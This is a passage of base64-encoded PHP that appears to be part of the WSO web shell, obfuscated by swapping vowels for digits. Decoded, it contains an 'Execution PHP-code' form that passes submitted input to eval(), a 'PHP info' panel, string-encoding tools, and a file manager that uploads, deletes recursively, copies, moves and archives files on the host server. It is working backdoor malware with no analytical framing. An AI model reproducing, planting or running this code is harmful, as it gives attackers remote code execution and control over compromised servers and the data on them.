sNW01bnRCeUlkKCdQaHBPM3RwM3QnKS40bm41ckhUTUw9JyIgLiAxZGRjc2wxc2g1cyhodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKSwgIlxuXHJcdFxcJ1wwIikgLiAiJztcbiI7DQoJCTVjaDIgc3RybDVuKCR0NW1wKSwgIlxuIiwgJHQ1bXA7DQoJCTV4NHQ7DQoJfQ0KCXdzMkg1MWQ1cigpOw0KCTRmKDRzczV0KCRfUE9TVFsncGEnXSkgJiYgKCRfUE9TVFsncGEnXSA9PSAnNG5mMicpKSB7DQoJCTVjaDIgJzxoNj5QSFAgNG5mMjwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxzdHlsNT4ucCB7YzJsMnI6IzAwMDt9PC9zdHlsNT4nOw0KCQkyYl9zdDFydCgpOw0KCQlwaHA0bmYyKCk7DQoJCSR0bXAgPSAyYl9nNXRfY2w1MW4oKTsNCiAgICAgICAgJHRtcCA9IHByNWdfcjVwbDFjNSgnIShiMmR5fDE6XHcrfGIyZHksIHRkLCB0aCwgaDYsIGhhKSB7Lip9IW1zNFUnLCcnLCR0bXApOw0KCQkkdG1wID0gcHI1Z19yNXBsMWM1KCchdGQsIHRoIHsoLiopfSFtczRVJywnLjUsIC52LCAuaCwgLmggdGggeyQ2fScsJHRtcCk7DQoJCTVjaDIgc3RyX3I1cGwxYzUoJzxoNicsJzxoYScsICR0bXApIC4nPC9kNHY+PGJyPic7DQoJfQ0KCTRmKDVtcHR5KCRfUE9TVFsnMWoxeCddKSAmJiAhNW1wdHkoJF9QT1NUWydwNiddKSkNCgkJJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJzFqMXgnXSA9IGYxbHM1Ow0KICAgIDVjaDIgJzxoNj5FeDVjM3Q0Mm4gUEhQLWMyZDU8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48ZjJybSBuMW01PXBmIG01dGgyZD1wMnN0IDJuczNibTR0PSI0Zih0aDRzLjFqMXguY2g1Y2s1ZCl7MShcJ1BocFwnLG4zbGwsdGg0cy5jMmQ1LnYxbDM1KTt9NWxzNXtnKFwnUGhwXCcsbjNsbCx0aDRzLmMyZDUudjFsMzUsXCdcJyk7fXI1dDNybiBmMWxzNTsiPjx0NXh0MXI1MSBuMW01PWMyZDUgY2wxc3M9YjRnMXI1MSA0ZD1QaHBDMmQ1PicuKCE1bXB0eSgkX1BPU1RbJ3A2J10pP2h0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddKTonJykuJzwvdDV4dDFyNTE+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PUV2MWwgc3R5bDU9Im0xcmc0bi10MnA6aXB4Ij4nOw0KCTVjaDIgJyA8NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PTFqMXggdjFsMzU9NiAnLigkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXT8nY2g1Y2s1ZCc6JycpLic+IHM1bmQgM3M0bmcgQUpBWDwvZjJybT48cHI1IDRkPVBocE8zdHAzdCBzdHlsNT0iJy4oNW1wdHkoJF9QT1NUWydwNiddKT8nZDRzcGwxeTpuMm41Oyc6JycpLidtMXJnNG4tdDJwOmlweDsiIGNsMXNzPW1sNj4nOw0KCTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQoJCTJiX3N0MXJ0KCk7DQoJCTV2MWwoJF9QT1NUWydwNiddKTsNCgkJNWNoMiBodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKTsNCgl9DQoJNWNoMiAnPC9wcjU+PC9kNHY+JzsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuRjRsNXNNMW4oKSB7DQoJd3MySDUxZDVyKCk7DQoJNWNoMiAnPGg2PkY0bDUgbTFuMWc1cjwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxzY3I0cHQ+cDZfPXBhXz1wb189IiI7PC9zY3I0cHQ+JzsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQlzdzR0Y2goJF9QT1NUWydwNiddKSB7DQoJCQljMXM1ICczcGwyMWRGNGw1JzoNCgkJCQk0ZighQG0ydjVfM3BsMjFkNWRfZjRsNSgkX0ZJTEVTWydmJ11bJ3RtcF9uMW01J10sICRfRklMRVNbJ2YnXVsnbjFtNSddKSkNCgkJCQkJNWNoMiAiQzFuJ3QgM3BsMjFkIGY0bDUhIjsNCgkJCQlicjUxazsNCgkJCWMxczUgJ21rZDRyJzoNCgkJCQk0ZighQG1rZDRyKCRfUE9TVFsncGEnXSkpDQoJCQkJCTVjaDIgIkMxbid0IGNyNTF0NSBuNXcgZDRyIjsNCgkJCQlicjUxazsNCgkJCWMxczUgJ2Q1bDV0NSc6DQoJCQkJZjNuY3Q0Mm4gZDVsNXQ1RDRyKCRwMXRoKSB7DQoJCQkJCSRwMXRoID0gKHMzYnN0cigkcDF0aCwtNik9PScvJykgPyAkcDF0aDokcDF0aC4nLyc7DQoJCQkJCSRkaCAgPSAycDVuZDRyKCRwMXRoKTsNCgkJCQkJd2g0bDUgKCAoJDR0NW0gPSByNTFkZDRyKCRkaCkgKSAhPT0gZjFsczUpIHsNCgkJCQkJCSQ0dDVtID0gJHAxdGguJDR0NW07DQoJCQkJCQk0ZiAoIChiMXM1bjFtNSgkNHQ1bSkgPT0gIi4uIikgfHwgKGIxczVuMW01KCQ0dDVtKSA9PSAiLiIpICkNCgkJCQkJCQljMm50NG4zNTsNCgkJCQkJCSR0eXA1ID0gZjRsNXR5cDUoJDR0NW0pOw0KCQkJCQkJNGYgKCR0eXA1ID09ICJkNHIiKQ0KCQkJCQkJCWQ1bDV0NUQ0cigkNHQ1bSk7DQoJCQkJCQk1bHM1DQoJCQkJCQkJQDNubDRuaygkNHQ1bSk7DQoJCQkJCX0NCgkJCQkJY2wyczVkNHIoJGRoKTsNCgkJCQkJQHJtZDRyKCRwMXRoKTsNCgkJCQl9DQoJCQkJNGYoNHNfMXJyMXkoQCRfUE9TVFsnZiddKSkNCgkJCQkJZjJyNTFjaCgkX1BPU1RbJ2YnXSAxcyAkZikgew0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGYgPT0gJy4uJykNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMm50NG4zNTsNCgkJCQkJCSRmID0gM3JsZDVjMmQ1KCRmKTsNCgkJCQkJCTRmKDRzX2Q0cigkZikpDQoJCQkJCQkJZDVsNXQ1RDRyKCRmKTsNCgkJCQkJCTVsczUNCgkJCQkJCQlAM25sNG5rKCRmKTsNCgkJCQkJfQ0KCQkJCWJyNTFrOw0KCQkJYzFzNSAncDFzdDUnOg0KCQkJCTRmKCRfU0VTU0lPTlsnMWN0J10gPT0gJ2MycHknKSB7DQoJCQkJCWYzbmN0NDJuIGMycHlfcDFzdDUoJGMsJHMsJGQpew0KCQkJCQkJNGYoNHNfZDRyKCRjLiRzKSl7DQoJCQkJCQkJbWtkNHIoJGQuJHMpOw0KCQkJCQkJCSRoID0gQDJwNW5kNHIoJGMuJHMpOw0KCQkJCQkJCXdoNGw1ICgoJGYgPSBAcjUxZGQ0cigkaCkpICE9PSBmMWxzNSkNCgkJCQkJCQkJNGYgKCgkZiAhPSAiLiIpIDFuZCAoJGYgIT0gIi4uIikpDQoJCQkJCQkJCQljMnB5X3Axc3Q1KCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsNCgkJCQkJCX0gNWxzNTRmKDRzX2Y0bDUoJGMuJHMpKQ0KCQkJCQkJCUBjMnB5KCRjLiRzLCAkZC4kcyk7DQoJCQkJCX0NCgkJCQkJZjJyNTFjaCgkX1NFU1NJT05bJ2YnXSAxcyAkZikNCgkJCQkJCWMycHlfcDFzdDUoJF9TRVNTSU9OWydjJ10sJGYsICRHTE9CQUxTWydjd2QnXSk7DQoJCQkJfSA1bHM1NGYoJF9TRVNTSU9OWycxY3QnXSA9PSAnbTJ2NScpIHsNCgkJCQkJZjNuY3Q0Mm4gbTJ2NV9wMXN0NSgkYywkcywkZCl7DQoJCQkJCQk0Zig0c19kNHIoJGMuJHMpKXsNCgkJCQkJCQlta2Q0cigkZC4kcyk7DQoJCQkJCQkJJGggPSBAMnA1bmQ0cigkYy4kcyk7DQoJCQkJCQkJd2g0bDUgKCgkZiA9IEByNTFkZDRyKCRoKSkgIT09IGYxbHM1KQ0KCQkJCQkJCQk0ZiAoKCRmICE9ICIuIikgMW5kICgkZiAhPSAiLi4iKSkNCgkJCQkJCQkJCWMycHlfcDFzdDUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KCQkJCQkJfSA1bHM1NGYoQDRzX2Y0bDUoJGMuJHMpKQ0KCQkJCQkJCUBjMnB5KCRjLiRzLCAkZC4kcyk7DQoJCQkJCX0NCgkJCQkJZjJyNTFjaCgkX1NFU1NJT05bJ2YnXSAxcyAkZikNCgkJCQkJCUByNW4xbTUoJF9TRVNTSU9OWydjJ10uJGYsICRHTE9CQUxTWydjd2QnXS4kZik7DQoJCQkJfSA1bHM1NGYoJF9TRVNTSU9OWycxY3QnXSA9PSAnejRwJykgew0KCQkJCQk0ZihjbDFzc181eDRzdHMoJ1o0cEFyY2g0djUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHo0cCA9IG41dyBaNHBBcmNoNHY1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJHo0cC0+MnA1bigkX1BPU1RbJ3BhJ10sIDYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkNHIoJF9TRVNTSU9OWydjJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGYgPT0gJy4uJykNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMybnQ0bjM1Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZihANHNfZjRsNSgkX1NFU1NJT05bJ2MnXS4kZikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT4xZGRGNGw1KCRfU0VTU0lPTlsnYyddLiRmLCAkZik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczU0ZihANHNfZDRyKCRfU0VTU0lPTlsnYyddLiRmKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDR0NXIxdDJyID0gbjV3IFI1YzNyczR2NUl0NXIxdDJySXQ1cjF0MnIobjV3IFI1YzNyczR2NUQ0cjVjdDJyeUl0NXIxdDJyKCRmLicvJykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCAoJDR0NXIxdDJyIDFzICRrNXk9PiR2MWwzNSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPjFkZEY0bDUocjUxbHAxdGgoJGs1eSksICRrNXkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZDRyKCRHTE9CQUxTWydjd2QnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+Y2wyczUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KCQkJCX0gNWxzNTRmKCRfU0VTU0lPTlsnMWN0J10gPT0gJzNuejRwJykgew0KCQkJCQk0ZihjbDFzc181eDRzdHMoJ1o0cEFyY2g0djUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHo0cCA9IG41dyBaNHBBcmNoNHY1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJHo0cC0+MnA1bigkX1NFU1NJT05bJ2MnXS4kZikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+NXh0cjFjdFQyKCRHTE9CQUxTWydjd2QnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPmNsMnM1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQoJCQkJfSA1bHM1NGYoJF9TRVNTSU9OWycxY3QnXSA9PSAndDFyJykgew0KICAgICAgICAgICAgICAgICAgICBjaGQ0cigkX1NFU1NJT05bJ2MnXSk7DQogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZiddID0gMXJyMXlfbTFwKCc1c2MxcDVzaDVsbDFyZycsICRfU0VTU0lPTlsnZiddKTsNCiAgICAgICAgICAgICAgICAgICAgd3MyRXgoJ3QxciBjZnp2ICcgLiA1c2MxcDVzaDVsbDFyZygkX1BPU1RbJ3BhJ10pIC4gJyAnIC4gNG1wbDJkNSgnICcsICRfU0VTU0lPTlsnZiddKSk7DQogICAgICAgICAgICAgICAgICAgIGNoZDRyKCRHTE9CQUxTWydjd2QnXSk7DQoJCQkJfQ0KCQkJCTNuczV0KCRfU0VTU0lPTlsnZiddKTsNCgkJCQlicjUxazsNCgkJCWQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJCQkJJF9TRVNTSU9OWycxY3QnXSA9IEAkX1BPU1RbJ3A2J107DQoJCQkJCSRfU0VTU0lPTlsnZiddID0gQCRfUE9TVFsnZiddOw0KCQkJCQlmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRrID0+ICRmKQ0KCQkJCQkJJF9TRVNTSU9OWydmJ11bJGtdID0gM3JsZDVjMmQ1KCRmKTsNCgkJCQkJJF9TRVNTSU9OWydjJ10gPSBAJF9QT1NUWydjJ107DQoJCQkJfQ0KCQkJCWJyNTFrOw0KCQl9DQoJfQ0KCSRkNHJDMm50NW50ID0gQHNjMW5kNHIoNHNzNXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7DQoJNGYoJGQ0ckMybnQ1bnQgPT09IGYxbHM1KSB7CTVjaDIgJ0MxblwndCAycDVuIHRoNHMgZjJsZDVyISc7d3MyRjIydDVyKCk7IHI1dDNybjsgfQ0KCWdsMmIxbCAkczJydDsNCgkkczJydCA9IDFycjF5KCduMW01JywgNik7DQoJNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJNGYocHI1Z19tMXRjaCgnIXNfKFtBLXpdKylfKFxkezZ9KSEnLCAkX1BPU1RbJ3A2J10sICRtMXRjaCkpDQoJCQkkczJydCA9IDFycjF5KCRtMXRjaFs2XSwgKDRudCkkbTF0Y2hbYV0pOw0KCX0NCjVjaDIgIjxzY3I0cHQ+DQoJZjNuY3Q0Mm4gczEoKSB7DQoJCWYycig0PTA7NDxkLmY0bDVzLjVsNW01bnRzLmw1bmd0aDs0KyspDQoJCQk0ZihkLmY0bDVzLjVsNW01bnRzWzRdLnR5cDUgPT0gJ2NoNWNrYjJ4JykNCgkJCQlkLmY0bDVzLjVsNW01bnRzWzRdLmNoNWNrNWQgPSBkLmY0bDVzLjVsNW01bnRzWzBdLmNoNWNrNWQ7DQoJfQ0KPC9zY3I0cHQ+DQo8dDFibDUgdzRkdGg9JzYwMCUnIGNsMXNzPSdtMTRuJyBjNWxsc3AxYzRuZz0nMCcgYzVsbHAxZGQ0bmc9J2EnPg0KPGYycm0gbjFtNT1mNGw1cyBtNXRoMmQ9cDJzdD48dHI+PHRoIHc0ZHRoPSc2b3B4Jz48NG5wM3QgdHlwNT1jaDVja2IyeCAybmNsNGNrPSdzMSgpJyBjbDFzcz1jaGtieD48L3RoPjx0aD48MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixuM2xsLFwic19uMW01XyIuKCRzMnJ0WzZdPzA6NikuIlwiKSc+TjFtNTwvMT48L3RoPjx0aD48MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixuM2xsLFwic19zNHo1XyIuKCRzMnJ0WzZdPzA6NikuIlwiKSc+UzR6NTwvMT48L3RoPjx0aD48MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixuM2xsLFwic19tMmQ0ZnlfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5NMmQ0Znk8LzE+PC90aD48dGg+T3duNXIvR3IyM3A8L3RoPjx0aD48MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixuM2xsLFwic19wNXJtc18iLigkczJydFs2XT8wOjYpLiJcIiknPlA1cm00c3M0Mm5zPC8xPjwvdGg+PHRoPkFjdDQybnM8L3RoPjwvdHI+IjsNCgkkZDRycyA9ICRmNGw1cyA9IDFycjF5KCk7DQoJJG4gPSBjMjNudCgkZDRyQzJudDVudCk7DQoJZjJyKCQ0PTA7JDQ8JG47JDQrKykgew0KCQkkMncgPSBAcDJzNHhfZzV0cHczNGQoQGY0bDUyd241cigkZDRyQzJudDVudFskNF0pKTsNCgkJJGdyID0gQHAyczR4X2c1dGdyZzRkKEBmNGw1Z3IyM3AoJGQ0ckMybnQ1bnRbJDRdKSk7DQoJCSR0bXAgPSAxcnIxeSgnbjFtNScgPT4gJGQ0ckMybnQ1bnRbJDRdLA0KCQkJCQkgJ3AxdGgnID0+ICRHTE9CQUxTWydjd2QnXS4kZDRyQzJudDVudFskNF0sDQoJCQkJCSAnbTJkNGZ5JyA9PiBkMXQ1KCdZLW0tZCBIOjQ6cycsIEBmNGw1bXQ0bTUoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSksDQoJCQkJCSAncDVybXMnID0+IHdzMlA1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSwNCgkJCQkJICdzNHo1JyA9PiBAZjRsNXM0ejUoJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSksDQoJCQkJCSAnMnduNXInID0+ICQyd1snbjFtNSddPyQyd1snbjFtNSddOkBmNGw1MnduNXIoJGQ0ckMybnQ1bnRbJDRdKSwNCgkJCQkJICdncjIzcCcgPT4gJGdyWyduMW01J10/JGdyWyduMW01J106QGY0bDVncjIzcCgkZDRyQzJudDVudFskNF0pDQoJCQkJCSk7DQoJCTRmKEA0c19mNGw1KCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpDQoJCQkkZjRsNXNbXSA9IDFycjF5X201cmc1KCR0bXAsIDFycjF5KCd0eXA1JyA9PiAnZjRsNScpKTsNCgkJNWxzNTRmKEA0c19sNG5rKCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpDQoJCQkkZDRyc1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdsNG5rJywgJ2w0bmsnID0+IHI1MWRsNG5rKCR0bXBbJ3AxdGgnXSkpKTsNCgkJNWxzNTRmKEA0c19kNHIoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSYmICgkZDRyQzJudDVudFskNF0gIT0gIi4iKSkNCgkJCSRkNHJzW10gPSAxcnIxeV9tNXJnNSgkdG1wLCAxcnIxeSgndHlwNScgPT4gJ2Q0cicpKTsNCgl9DQoJJEdMT0JBTFNbJ3MycnQnXSA9ICRzMnJ0Ow0KCWYzbmN0NDJuIHdzMkNtcCgkMSwgJGIpIHsNCgkJNGYoJEdMT0JBTFNbJ3MycnQnXVswXSAhPSAnczR6NScpDQoJCQlyNXQzcm4gc3RyY21wKHN0cnQybDJ3NXIoJDFbJEdMT0JBTFNbJ3MycnQnXVswXV0pLCBzdHJ0MmwydzVyKCRiWyRHTE9CQUxTWydzMnJ0J11bMF1dKSkqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7DQoJCTVsczUNCgkJCXI1dDNybiAoKCQxWydzNHo1J10gPCAkYlsnczR6NSddKSA/IC02IDogNikqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7DQoJfQ0KCTNzMnJ0KCRmNGw1cywgIndzMkNtcCIpOw0KCTNzMnJ0KCRkNHJzLCAid3MyQ21wIik7DQoJJGY0bDVzID0gMXJyMXlfbTVyZzUoJGQ0cnMsICRmNGw1cyk7DQoJJGwgPSAwOw0KCWYycjUxY2goJGY0bDVzIDFzICRmKSB7DQoJCTVjaDIgJzx0cicuKCRsPycgY2wxc3M9bDYnOicnKS4nPjx0ZD48NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PSJmW10iIHYxbDM1PSInLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nIiBjbDFzcz1jaGtieD48L3RkPjx0ZD48MSBocjVmPSMgMm5jbDRjaz0iJy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/J2coXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd2NDV3XCcpIj4nLmh0bWxzcDVjNDFsY2gxcnMoJGZbJ24xbTUnXSk6J2coXCdGNGw1c00xblwnLFwnJy4kZlsncDF0aCddLidcJyk7IiB0NHRsNT0nIC4gJGZbJ2w0bmsnXSAuICc+PGI+WyAnIC4gaHRtbHNwNWM0MWxjaDFycygkZlsnbjFtNSddKSAuICcgXTwvYj4nKS4nPC8xPjwvdGQ+PHRkPicuKCgkZlsndHlwNSddPT0nZjRsNScpP3dzMlY0NXdTNHo1KCRmWydzNHo1J10pOiRmWyd0eXA1J10pLic8L3RkPjx0ZD4nLiRmWydtMmQ0ZnknXS4nPC90ZD48dGQ+Jy4kZlsnMnduNXInXS4nLycuJGZbJ2dyMjNwJ10uJzwvdGQ+PHRkPjwxIGhyNWY9IyAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsXCdjaG0yZFwnKSI+Jy4kZlsncDVybXMnXQ0KCQkJLic8L3RkPjx0ZD48MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwncjVuMW01XCcpIj5SPC8xPiA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwndDIzY2hcJykiPlQ8LzE+Jy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/JyA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwnNWQ0dFwnKSI+RTwvMT4gPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJ2Qyd25sMjFkXCcpIj5EPC8xPic6JycpLic8L3RkPjwvdHI+JzsNCgkJJGwgPSAkbD8wOjY7DQoJfQ0KCTVjaDIgIjx0cj48dGQgYzJsc3Axbj03Pg0KCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9J0Y0bDVzTTFuJz4NCgk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSciIC4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4iJz4NCgk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciLiAoNHNzNXQoJF9QT1NUWydjaDFyczV0J10pPyRfUE9TVFsnY2gxcnM1dCddOicnKS4iJz4NCgk8czVsNWN0IG4xbTU9J3A2Jz48MnB0NDJuIHYxbDM1PSdjMnB5Jz5DMnB5PC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0nbTJ2NSc+TTJ2NTwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9J2Q1bDV0NSc+RDVsNXQ1PC8ycHQ0Mm4+IjsNCiAgICA0ZihjbDFzc181eDRzdHMoJ1o0cEFyY2g0djUnKSkNCiAgICAgICAgNWNoMiAiPDJwdDQybiB2MWwzNT0nejRwJz5DMm1wcjVzcyAoejRwKTwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9JzNuejRwJz5VbmMybXByNXNzICh6NHApPC8ycHQ0Mm4+IjsNCiAgICA1Y2gyICI8MnB0NDJuIHYxbDM1PSd0MXInPkMybXByNXNzICh0MXIuZ3opPC8ycHQ0Mm4+IjsNCiAgICA0ZighNW1wdHkoJF9TRVNTSU9OWycxY3QnXSkgJiYgQGMyM250KCRfU0VTU0lPTlsnZiddKSkNCiAgICAgICAgNWNoMiAiPDJwdDQybiB2MWwzNT0ncDFzdDUnPlAxc3Q1IC8gQzJtcHI1c3M8LzJwdDQybj4iOw0KICAgIDVjaDIgIjwvczVsNWN0PiZuYnNwOyI7DQogICAgNGYoITVtcHR5KCRfU0VTU0lPTlsnMWN0J10pICYmIEBjMjNudCgkX1NFU1NJT05bJ2YnXSkgJiYgKCgkX1NFU1NJT05bJzFjdCddID09ICd6NHAnKSB8fCAoJF9TRVNTSU9OWycxY3QnXSA9PSAndDFyJykpKQ0KICAgICAgICA1Y2gyICJmNGw1IG4xbTU6IDw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wYSB2MWwzNT0nd3MyXyIgLiBkMXQ1KCJZbWRfSDRzIikgLiAiLiIgLiAoJF9TRVNTSU9OWycxY3QnXSA9PSAnejRwJz8nejRwJzondDFyLmd6JykgLiAiJz4mbmJzcDsiOw0KICAgIDVjaDIgIjw0bnAzdCB0eXA1PSdzM2JtNHQnIHYxbDM1PSc+Pic+PC90ZD48L3RyPjwvZjJybT48L3QxYmw1PjwvZDR2PiI7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblN0cjRuZ1QyMmxzKCkgew0KCTRmKCFmM25jdDQybl81eDRzdHMoJ2g1eGFiNG4nKSkge2YzbmN0NDJuIGg1eGFiNG4oJHApIHtyNXQzcm4gZDVjYjRuKGg1eGQ1YygkcCkpO319DQogICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnYjRuaDV4JykpIHtmM25jdDQybiBiNG5oNXgoJHApIHtyNXQzcm4gZDVjaDV4KGI0bmQ1YygkcCkpO319DQoJNGYoIWYzbmN0NDJuXzV4NHN0cygnaDV4YTFzYzQ0JykpIHtmM25jdDQybiBoNXhhMXNjNDQoJHApeyRyPScnO2YycigkND0wOyQ0PHN0ckw1bigkcCk7JDQrPWEpeyRyLj1jaHIoaDV4ZDVjKCRwWyQ0XS4kcFskNCs2XSkpO31yNXQzcm4gJHI7fX0NCgk0ZighZjNuY3Q0Mm5fNXg0c3RzKCcxc2M0NGFoNXgnKSkge2YzbmN0NDJuIDFzYzQ0YWg1eCgkcCl7JHI9Jyc7ZjJyKCQ0PTA7JDQ8c3RybDVuKCRwKTsrKyQ0KSRyLj0gc3ByNG50ZignJTBhWCcsMnJkKCRwWyQ0XSkpO3I1dDNybiBzdHJ0MjNwcDVyKCRyKTt9fQ0KCTRmKCFmM25jdDQybl81eDRzdHMoJ2YzbGxfM3JsNW5jMmQ1JykpIHtmM25jdDQybiBmM2xsXzNybDVuYzJkNSgkcCl7JHI9Jyc7ZjJyKCQ0PTA7JDQ8c3RybDVuKCRwKTsrKyQ0KSRyLj0gJyUnLmQ1Y2g1eCgycmQoJHBbJDRdKSk7cjV0M3JuIHN0cnQyM3BwNXIoJHIpO319DQoJJHN0cjRuZ1QyMmxzID0gMXJyMXkoDQoJCSdCMXM1ZXUgNW5jMmQ1JyA9PiAnYjFzNWV1XzVuYzJkNScsDQoJCSdCMXM1ZXUgZDVjMmQ1JyA9PiAnYjFzNWV1X2Q1YzJkNScsDQoJCSdVcmwgNW5jMmQ1JyA9PiAnM3JsNW5jMmQ1JywNCgkJJ1VybCBkNWMyZDUnID0+ICczcmxkNWMyZDUnLA0KCQknRjNsbCAzcmw1bmMyZDUnID0+ICdmM2xsXzNybDVuYzJkNScsDQoJCSdtZGkgaDFzaCcgPT4gJ21kaScsDQoJCSdzaDE2IGgxc2gnID0+ICdzaDE2JywNCgkJJ2NyeXB0JyA9PiAnY3J5cHQnLA0KCQknQ1JDb2EnID0+ICdjcmNvYScsDQoJCSdBU0NJSSB0MiBIRVgnID0+ICcxc2M0NGFoNXgnLA0KCQknSEVYIHQyIEFTQ0lJJyA9PiAnaDV4YTFzYzQ0JywNCgkJJ0hFWCB0MiBERUMnID0+ICdoNXhkNWMnLA0KCQknSEVYIHQyIEJJTicgPT4gJ2g1eGFiNG4nLA0KCQknREVDIHQyIEhFWCcgPT4gJ2Q1Y2g1eCcsDQoJCSdERUMgdDIgQklOJyA9PiAnZDVjYjRuJywNCgkJJ0JJTiB0MiBIRVgnID0+ICdiNG5oNXgnLA0KCQknQklOIHQyIERFQycgPT4gJ2I0bmQ1YycsDQoJCSdTdHI0bmcgdDIgbDJ3NXIgYzFzNScgPT4gJ3N0cnQybDJ3NXInLA0KCQknU3